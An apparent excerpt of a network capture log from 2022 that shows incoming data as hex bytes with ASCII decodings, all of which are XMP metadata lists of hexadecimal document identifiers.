32 35 33 39 33 43 36 42 32 35 30 41 31 36 39 38 41 39 35 45 31 37 38 43 
Data Ascii: 817860D8B6</rdf:li> <rdf:li>03EC58E098F71E4C94F03C98523CAC91</rdf:li> <rdf:li>03ED712C08
4EF6B0B9502F00C8EBFBEA</rdf:li> <rdf:li>03F7AAF5A43D8D134374D2A162D49A2B</rdf:li> <rdf:li>03FBD9CBCC
7B3E2D480C4CF8A14325F3</rdf:li> <rdf:li>04025393C6B250A1698A95E178C

2022-05-13 14:42:07 UTC 3626 IN Data Raw: 32 39 35 43 38 41 37 33 44 35 34 39 33 43 32 36 36 30 46 32 45 32 35 32 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 31 31 31 35 37 46 41 31 38 43 37 37 33 42 43 46 33 46 44 45 44 39 42 46 32 45 43 46 46 44 37 
30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 31 42 45 42 41 36 35 44 44 32 36 37 33 38 36 37 39 37 
41 42 39 41 35 31 35 42 37 45 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 32 45 34 32 32 45 43 3
1 45 39 37 35 44 39 32 43 31 35 32 31 38 46 33 41 35 43 36 44 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 31 31 35 32 35 35 30 30 32 32 43 44 41 31 43 33 31 39 46 30 42 33 45 41 35 44 30 34 32 45 45 33 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 35 36 32 45 36 39 41 44 34 
Data Ascii: 295C8A73D5493C2660F2E252D5</rdf:li> <rdf:li>11157FA18C773BCF3FDED9BF2ECFFD70</rdf:li> <r
df:li>111BEBA65DD267386797AB9A515B7E4D</rdf:li> <rdf:li>112E422EC1E975D92C15218F3A5C6D66</rdf:li> <r
df:li>1152550022CDA1C319F0B3EA5D042EE3</rdf:li> <rdf:li>11562E69AD4

2022-05-13 14:42:07 UTC 3697 IN Data Raw: 33 30 38 44 41 30 33 32 37 36 41 39 44 43 30 33 46 31 46 34 41 38 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 31 37 37 42 43 30 45 42 39 39 34 34 33 43 44 44 32 43 38 38 39 41 34 37 37 32 35 36 46 41 39 43 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 37 43 38 32 36 43 43 42 38 34 39 32 39 42 39 42 37 34 34 33 
33 30 32 33 36 41 39 33 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 38 34 33 42 35 33 46 41 37 3
6 36 35 35 35 43 42 38 36 46 37 30 44 37 42 37 38 38 45 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 
37 38 39 45 35 39 37 32 44 36 44 32 46 32 36 32 45 37 31 43 44 32 43 43 30 39 37 34 39 43 35 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 31 37 39 42 45 45 41 37 45 32 34 46 30 
Data Ascii: 308DA03276A9DC03F1F4A81C</rdf:li> <rdf:li>177BC0EB99443CDD2C889A477256FA9C</rdf:li> <rdf
:li>177C826CCB84929B9B744330236A9352</rdf:li> <rdf:li>17843B53FA766555CB86F70D7B788E01</rdf:li> <rdf
:li>1789E5972D6D2F262E71CD2CC09749C5</rdf:li> <rdf:li>179BEEA7E24F0

2022-05-13 14:42:07 UTC 3769 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 32 35 41 42 38 31 46 35 41 45 36 30 38 46 36 46 37 35 44 42 33 33 30 34 35 43 30 
42 43 46 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 42 33 46 30 36 46 37 36 42 41 32 31 30 44 
43 45 30 31 46 46 41 35 35 41 31 34 30 35 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 42 35 34 4
4 38 30 45 31 41 34 38 39 39 35 31 36 42 45 32 46 39 31 45 46 31 30 36 31 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 32 35 44 31 43 30 32 34 36 33 42 30 37 31 34 45 42 37 35 36 34 39 34 44 32 36 31 35 32 44 32 36 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 44 34 33 39 41 36 34 34 42 42 37 39 44 35 41 44 37 46 39 30 
43 41 37 41 37 42 45 32 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: <rdf:li>25AB81F5AE608F6F75DB33045C0BCF49</rdf:li> <rdf:li>25B3F06F76BA210DCE01FFA55A1405
90</rdf:li> <rdf:li>25B54D80E1A4899516BE2F91EF1061F6</rdf:li> <rdf:li>25D1C02463B0714EB756494D26152D
26</rdf:li> <rdf:li>25D439A644BB79D5AD7F90CA7A7BE2CF</rdf:li> <rdf:

2022-05-13 14:42:07 UTC 3817 IN Data Raw: 6c 69 3e 33 31 41 33 43 43 44 31 45 33 41 34 30 36 31 35 31 43 33 46 32 34 46 37 44 37 46 43 34 44 43 43 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 43 30 46 36 45 35 46 39 38 37 42 44 45 30 41 36 42 33 44 
39 42 33 33 36 46 43 37 43 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 43 36 46 36 30 30 46 42 3
5 45 45 30 36 32 30 36 31 44 42 34 31 42 34 34 39 35 42 41 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
33 31 43 44 31 39 41 36 38 37 33 35 35 35 41 39 42 36 39 45 46 33 41 33 36 42 41 43 46 43 34 38 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 31 39 41 37 37 42 30 43 37 31 31 33 41 42 45 30 34 39 32 30 36 34 38 36 36 36 
38 32 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 
Data Ascii: li>31A3CCD1E3A406151C3F24F7D7FC4DCC</rdf:li> <rdf:li>31C0F6E5F987BDE0A6B3D9B336FC7C7B</r
df:li> <rdf:li>31C6F600FB5EE062061DB41B4495BAC9</rdf:li> <rdf:li>31CD19A6873555A9B69EF3A36BACFC48</rdf:li> 
<rdf:li>3219A77B0C7113ABE0492064866682B7</rdf:li> <rdf:li>32

2022-05-13 14:42:07 UTC 3864 IN Data Raw: 3e 33 38 38 38 45 34 32 43 41 37 42 33 42 45 30 34 34 44 34 45 41 33 41 46 46 30 32 31 34 36 37 43 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 38 42 36 36 31 36 30 39 44 43 31 31 38 39 37 30 39 32 39 32 35 
39 32 42 44 46 31 36 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 38 46 30 39 46 33 34 46 33 30 3
0 45 45 42 33 35 32 44 30 33 43 42 38 44 41 34 45 43 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 
39 39 34 39 39 35 30 43 43 37 37 32 32 38 38 44 36 43 37 30 38 33 34 46 37 30 45 39 44 37 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 33 38 42 30 39 46 35 41 36 34 32 43 41 43 39 36 34 30 31 45 42 35 46 39 34 34 38 43 30 38 
38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 42 32 
Data Ascii: >3888E42CA7B3BE044D4EA3AFF021467C</rdf:li> <rdf:li>388B661609DC1189709292592BDF161B</rdf:li> 
<rdf:li>388F09F34F300EEB352D03CB8DA4ECD8</rdf:li> <rdf:li>389949950CC772288D6C70834F70E9D7</rdf:li> <rdf:
li>38B09F5A642CAC96401EB5F9448C0883</rdf:li> <rdf:li>38B2
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2022-05-13 14:42:07 UTC 3928 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 41 30 36 31 38 30 36 38 45 34 37 35 38 36 32 30 35 
30 42 31 44 34 34 33 31 42 34 44 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 41 30 46 34 37 43 
35 35 43 32 32 43 44 43 31 46 43 45 33 38 37 32 42 33 35 30 31 30 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 34 35 41 42 39 33 30 33 38 37 35 35 35 37 46 35 43 46 35 32 31 34 44 43 33 31 39 35 30 45 39 36 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 43 37 30 33 45 46 41 44 33 45 38 39 33 34 42 39 44 43 34 39 42 35 45 
45 41 32 46 45 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 43 38 45 39 30 42 34 35 35 46 31 30 
45 36 35 38 36 34 44 42 41 33 46 38 43 30 45 31 46 38 3c 2f 72 64 66 3a 
Data Ascii: /rdf:li> <rdf:li>45A0618068E475862050B1D4431B4D47</rdf:li> <rdf:li>45A0F47C55C22CDC1FCE3
872B3501003</rdf:li> <rdf:li>45AB9303875557F5CF5214DC31950E96</rdf:li> <rdf:li>45C703EFAD3E8934B9DC4
9B5EEA2FE05</rdf:li> <rdf:li>45C8E90B455F10E65864DBA3F8C0E1F8</rdf:

2022-05-13 14:42:07 UTC 3944 IN Data Raw: 36 36 46 39 45 35 30 46 32 36 42 42 37 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 41 
32 31 39 32 37 45 38 45 46 30 38 35 37 33 36 42 30 41 33 34 32 35 46 36 33 35 41 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 35 32 41 43 35 43 39 30 33 42 42 30 36 42 32 42 36 45 35 41 43 39 41 39 36 35 45 43 30 42 37 
36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 41 44 46 36 39 43 43 37 45 37 39 42 41 39 30 44 42 41 3
6 34 34 30 31 36 39 43 32 43 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 42 32 33 34 34 42 44 37 
30 45 30 44 36 46 35 42 41 34 38 30 38 33 44 37 39 30 38 38 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 35 32 42 36 32 43 30 41 37 46 35 30 39 31 36 38 45 36 31 46 34 37 
Data Ascii: 66F9E50F26BB7F5</rdf:li> <rdf:li>52A21927E8EF085736B0A3425F635A85</rdf:li> <rdf:li>52AC5
C903BB06B2B6E5AC9A965EC0B76</rdf:li> <rdf:li>52ADF69CC7E79BA90DBA6440169C2CB3</rdf:li> <rdf:li>52B23
44BD70E0D6F5BA48083D79088BF</rdf:li> <rdf:li>52B62C0A7F509168E61F47

2022-05-13 14:42:07 UTC 3999 IN Data Raw: 34 42 45 31 35 30 39 43 33 31 30 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 38 44 35 
42 39 46 33 34 41 45 46 46 43 35 33 43 34 35 35 30 44 31 41 30 38 46 42 32 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 35 39 39 31 37 39 35 46 45 45 32 45 41 30 35 31 44 44 33 45 37 46 37 36 46 43 44 38 33 44 34 38 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 39 37 32 30 31 36 39 35 39 43 37 38 33 46 34 43 39 34 45 43 
36 43 32 33 30 30 45 35 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 39 39 32 33 35 38 34 35 37 
32 35 36 42 31 44 43 31 46 46 34 34 32 38 33 33 43 35 33 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
35 39 39 43 37 32 30 32 45 39 46 30 42 42 34 46 32 39 36 46 45 42 44 37 
Data Ascii: 4BE1509C310D5</rdf:li> <rdf:li>598D5B9F34AEFFC53C4550D1A08FB2F9</rdf:li> <rdf:li>5991795
FEE2EA051DD3E7F76FCD83D48</rdf:li> <rdf:li>59972016959C783F4C94EC6C2300E5FF</rdf:li> <rdf:li>5999235
8457256B1DC1FF442833C5392</rdf:li> <rdf:li>599C7202E9F0BB4F296FEBD7

2022-05-13 14:42:07 UTC 4031 IN Data Raw: 41 36 33 30 31 37 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 45 42 37 38 39 46 41 33 
37 45 39 36 30 44 44 39 36 38 30 46 41 34 42 42 31 31 38 32 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 36 37 45 43 33 33 36 33 34 34 45 31 38 31 41 30 31 42 35 36 41 44 34 39 37 45 41 35 46 36 46 34 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 46 42 44 41 39 33 33 36 34 37 35 33 36 39 37 32 39 43 45 32 36 34 36 36 42 
34 34 43 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 38 30 34 32 41 43 38 33 36 41 43 41 31 37 45 
45 33 44 42 30 39 33 42 32 41 43 42 37 38 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 38 34 32 45 
33 38 35 31 39 31 33 44 46 45 30 45 34 34 31 46 33 43 37 35 41 37 39 34 
Data Ascii: A63017DF</rdf:li> <rdf:li>67EB789FA37E960DD9680FA4BB118234</rdf:li> <rdf:li>67EC336344E1
81A01B56AD497EA5F6F4</rdf:li> <rdf:li>67FBDA9336475369729CE26466B44C50</rdf:li> <rdf:li>68042AC836AC
A17EE3DB093B2ACB78A9</rdf:li> <rdf:li>6842E3851913DFE0E441F3C75A794

2022-05-13 14:42:07 UTC 4047 IN Data Raw: 41 30 43 33 42 45 46 38 39 32 35 33 35 44 44 37 38 37 38 44 36 43 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 37 36 33 32 36 38 30 42 34 42 39 36 39 39 38 44 31 33 35 33 31 33 36 42 33 44 38 44 45 39 31 43 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 33 33 42 43 34 31 31 30 32 32 45 37 37 41 44 31 39 33 35 43 
42 30 41 44 32 31 38 31 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 34 33 45 32 37 41 46 42 30 4
5 30 45 33 36 45 38 46 46 45 34 43 39 31 36 42 46 34 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 
36 34 43 46 33 46 36 44 45 34 39 44 36 38 35 36 45 44 31 32 36 35 30 45 33 32 43 36 44 35 36 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 37 36 35 30 38 38 42 30 35 42 45 41 38 
Data Ascii: A0C3BEF892535DD7878D6CD9</rdf:li> <rdf:li>7632680B4B96998D1353136B3D8DE91C</rdf:li> <rdf
:li>7633BC411022E77AD1935CB0AD21814D</rdf:li> <rdf:li>7643E27AFB0E0E36E8FFE4C916BF4483</rdf:li> <rdf
:li>764CF3F6DE49D6856ED12650E32C6D56</rdf:li> <rdf:li>765088B05BEA8

2022-05-13 14:42:07 UTC 4095 IN Data Raw: 34 34 45 43 32 39 43 34 33 31 44 42 34 39 42 44 30 31 38 38 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 37 44 30 42 36 30 36 35 39 34 30 38 46 30 45 38 39 41 36 42 35 37 33 38 46 33 36 30 42 30 39 38 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 44 30 45 42 30 31 32 32 45 33 34 33 31 41 30 30 34 35 32 37 36 35 37 
39 41 34 46 38 30 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 44 31 42 46 45 34 34 35 35 32 42 46 3
6 36 43 31 37 37 37 33 31 34 46 42 43 36 43 43 43 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 44 32 
45 35 33 35 42 45 46 43 36 34 45 30 34 41 43 45 42 37 45 34 36 34 46 30 44 41 42 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 37 44 34 32 45 34 30 32 32 38 34 44 35 31 34 
Data Ascii: 44EC29C431DB49BD018845</rdf:li> <rdf:li>7D0B60659408F0E89A6B5738F360B098</rdf:li> <rdf:l
i>7D0EB0122E3431A0045276579A4F80AB</rdf:li> <rdf:li>7D1BFE44552BF66C1777314FBC6CCCDB</rdf:li> <rdf:l
i>7D2E535BEFC64E04ACEB7E464F0DAB89</rdf:li> <rdf:li>7D42E402284D514

2022-05-13 14:42:07 UTC 4135 IN Data Raw: 64 66 3a 6c 69 3e 38 39 36 37 45 31 35 45 31 31 32 45 35 41 41 32 33 35 31 34 37 34 32 30 33 33 43 45 45 
32 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 37 30 44 35 35 37 32 39 43 34 39 39 37 42 38 45 
42 39 33 33 31 42 38 33 33 45 43 39 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 37 37 34 30 30 4
6 41 43 44 38 32 35 33 36 37 44 44 37 41 34 32 34 33 46 32 35 43 39 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 38 39 37 41 45 30 34 46 39 38 33 45 46 42 33 34 46 45 45 39 30 30 30 39 42 34 34 44 31 38 45 39 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 37 44 36 45 39 38 30 32 39 34 35 31 30 39 45 42 43 39 31 37 38 39 42 
37 33 43 36 32 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: df:li>8967E15E112E5AA23514742033CEE296</rdf:li> <rdf:li>8970D55729C4997B8EB9331B833EC907
</rdf:li> <rdf:li>8977400FACD825367DD7A4243F25C986</rdf:li> <rdf:li>897AE04F983EFB34FEE90009B44D18E9
</rdf:li> <rdf:li>897D6E9802945109EBC91789B73C6237</rdf:li> <rdf:li

2022-05-13 14:42:07 UTC 4207 IN Data Raw: 35 42 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 31 41 43 31 34 42 44 41 35 39 37 37 
31 32 33 43 31 36 42 32 39 38 32 31 30 38 33 30 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 31 
44 42 37 33 41 30 32 44 33 32 38 43 39 44 34 38 41 33 35 45 36 38 37 42 34 44 33 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 39 38 33 43 31 36 44 31 45 41 36 43 36 45 34 41 33 37 42 45 30 32 39 46 34 35 30 36 46 37 41 
30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 34 41 35 39 32 46 38 42 34 30 37 43 45 35 41 45 32 44 
37 37 33 32 45 41 32 37 43 43 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 34 46 32 43 44 44 34 
39 36 31 42 35 32 38 30 44 33 35 36 36 44 31 42 34 32 34 35 44 34 37 3c 
Data Ascii: 5B75</rdf:li> <rdf:li>981AC14BDA5977123C16B2982108306D</rdf:li> <rdf:li>981DB73A02D328C9
D48A35E687B4D33E</rdf:li> <rdf:li>983C16D1EA6C6E4A37BE029F4506F7A0</rdf:li> <rdf:li>984A592F8B407CE5
AE2D7732EA27CCE1</rdf:li> <rdf:li>984F2CDD4961B5280D3566D1B4245D47<
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2022-05-13 14:42:07 UTC 4254 IN Data Raw: 45 33 30 39 34 39 44 36 46 31 31 35 45 44 41 43 39 30 35 42 37 38 44 44 32 42 34 36 36 31 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 33 42 35 37 33 39 41 44 38 36 39 31 42 44 45 37 33 41 35 45 37 41 33 37 
38 35 38 46 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 33 44 38 31 44 44 38 33 30 35 35 35 32 
46 46 33 39 39 44 39 45 30 35 45 45 46 33 44 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 34 46 4
3 39 36 43 34 37 43 37 41 46 39 35 42 30 43 45 38 36 38 41 43 43 44 36 38 45 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 39 45 35 31 46 41 45 36 31 38 39 32 31 33 45 39 37 46 38 39 38 43 32 42 37 44 45 31 32 35 44 37 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 35 37 39 41 
Data Ascii: E30949D6F115EDAC905B78DD2B46614</rdf:li> <rdf:li>9E3B5739AD8691BDE73A5E7A37858FF5</rdf:li> 
<rdf:li>9E3D81DD8305552FF399D9E05EEF3D81</rdf:li> <rdf:li>9E4FC96C47C7AF95B0CE868ACCD68E3C</rdf:li> 
<rdf:li>9E51FAE6189213E97F898C2B7DE125D7</rdf:li> <rdf:li>9E579A

2022-05-13 14:42:07 UTC 4326 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 43 30 39 33 42 31 45 34 30 44 44 39 37 30 39 44 41 44 45 
41 36 32 34 38 31 46 34 34 42 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 43 32 32 38 36 41 35 44 
38 45 30 32 33 46 41 45 31 41 42 36 46 43 41 42 44 43 43 34 33 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 41 43 32 34 33 45 33 43 30 33 34 36 43 44 31 32 37 39 46 43 45 30 30 46 32 32 31 37 31 31 30 45 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 43 32 37 34 45 33 31 38 38 41 31 36 32 46 45 37 30 38 34 38 31 44 46 32 36 
46 37 42 46 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 43 32 42 31 43 41 37 38 45 39 35 35 41 35 
36 45 31 46 45 32 31 36 30 39 33 34 45 35 41 33 45 3c 2f 72 64 66 3a 6c 69 
Data Ascii: df:li> <rdf:li>AC093B1E40DD9709DADEA62481F44B42</rdf:li> <rdf:li>AC2286A5D8E023FAE1AB6FC
ABDCC437D</rdf:li> <rdf:li>AC243E3C0346CD1279FCE00F2217110E</rdf:li> <rdf:li>AC274E3188A162FE708481D
F26F7BFA9</rdf:li> <rdf:li>AC2B1CA78E955A56E1FE2160934E5A3E</rdf:li

2022-05-13 14:42:07 UTC 4342 IN Data Raw: 31 38 45 36 44 32 33 38 32 38 30 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 31 42 
39 38 39 44 46 31 46 38 35 44 39 37 33 30 33 36 36 35 30 39 42 38 35 39 41 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 42 39 34 42 42 39 42 34 42 42 32 44 36 30 38 46 31 36 44 42 46 31 31 36 36 38 35 46 38 42 32 35 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 46 45 41 36 46 43 37 34 36 36 38 36 45 46 31 31 36 33 42 
32 43 43 34 34 34 46 38 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 35 43 45 35 30 30 32 46 43 
44 33 42 30 39 31 36 36 46 30 37 41 31 35 45 30 33 44 45 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
42 39 36 39 39 32 34 41 37 31 32 46 33 42 39 38 33 35 43 46 33 46 37 35 
Data Ascii: 18E6D238280FF</rdf:li> <rdf:li>B941B989DF1F85D9730366509B859A17</rdf:li> <rdf:li>B94BB9B
4BB2D608F16DBF116685F8B25</rdf:li> <rdf:li>B94FEA6FC746686EF1163B2CC444F868</rdf:li> <rdf:li>B95CE50
02FCD3B09166F07A15E03DEA8</rdf:li> <rdf:li>B969924A712F3B9835CF3F75

2022-05-13 14:42:07 UTC 4357 IN Data Raw: 38 46 43 34 31 36 31 43 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 31 31 35 42 30 
38 31 42 41 30 34 39 45 43 41 41 36 32 39 34 31 31 35 33 46 45 38 37 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 43 30 31 32 37 33 39 36 45 44 32 42 36 37 31 36 43 35 35 46 34 35 36 42 30 32 46 30 41 34 30 31 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 31 35 45 35 44 31 43 46 39 34 34 39 35 39 41 39 33 34 31 38 30 31 
37 45 31 41 30 39 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 31 39 30 46 43 31 43 30 44 37 41 
37 32 44 45 31 39 44 46 36 32 43 39 36 32 33 45 33 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 
32 32 38 39 39 36 43 30 43 34 43 45 45 46 41 30 44 32 44 39 45 32 36 32 
Data Ascii: 8FC4161C5D0</rdf:li> <rdf:li>C0115B081BA049ECAA62941153FE8717</rdf:li> <rdf:li>C0127396E
D2B6716C55F456B02F0A401</rdf:li> <rdf:li>C015E5D1CF944959A93418017E1A0965</rdf:li> <rdf:li>C0190FC1C
0D7A72DE19DF62C9623E375</rdf:li> <rdf:li>C0228996C0C4CEEFA0D2D9E262

2022-05-13 14:42:07 UTC 4384 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 31 45 34 35 34 37 37 38 30 41 38 37 33 43 42 42 43 33 33 43 34 
32 37 45 46 31 46 32 44 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 31 45 38 45 30 33 34 30 45 45 
41 39 46 36 43 42 39 38 33 44 31 39 34 37 41 44 32 44 39 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 4
3 31 45 43 39 38 44 46 43 32 38 31 38 39 44 41 41 45 35 33 44 38 35 44 41 46 41 42 30 44 30 35 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 43 31 46 37 41 30 43 32 31 44 42 37 33 35 46 32 38 35 30 42 34 34 34 33 45 37 35 45 44 
34 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 30 39 35 32 42 38 43 30 30 30 43 46 36 45 35 30 
44 35 32 31 33 41 45 31 43 30 32 31 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: :li> <rdf:li>C1E4547780A873CBBC33C427EF1F2D24</rdf:li> <rdf:li>C1E8E0340EEA9F6CB983D1947
AD2D962</rdf:li> <rdf:li>C1EC98DFC28189DAAE53D85DAFAB0D05</rdf:li> <rdf:li>C1F7A0C21DB735F2850B4443E
75ED4B8</rdf:li> <rdf:li>C20952B8C000CF6E50D5213AE1C02139</rdf:li> 

2022-05-13 14:42:07 UTC 4416 IN Data Raw: 36 37 38 30 37 41 43 38 30 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 45 41 31 42 31 32 
34 30 32 39 46 31 39 30 34 39 46 32 42 44 42 38 37 42 32 46 38 42 41 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 43 45 41 37 36 33 44 32 41 43 32 30 35 44 36 33 38 43 39 30 39 43 35 36 42 39 33 46 45 38 30 30 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 45 41 38 35 42 45 43 45 37 33 44 34 39 38 41 34 32 34 37 43 38 36 44 
41 35 44 33 30 33 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 45 41 42 33 33 33 36 45 38 36 43 35 
39 33 34 45 39 32 43 45 37 39 38 46 30 45 43 34 30 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 45 
42 33 37 44 41 31 34 34 42 42 35 35 38 43 31 41 37 30 34 33 38 43 32 35 
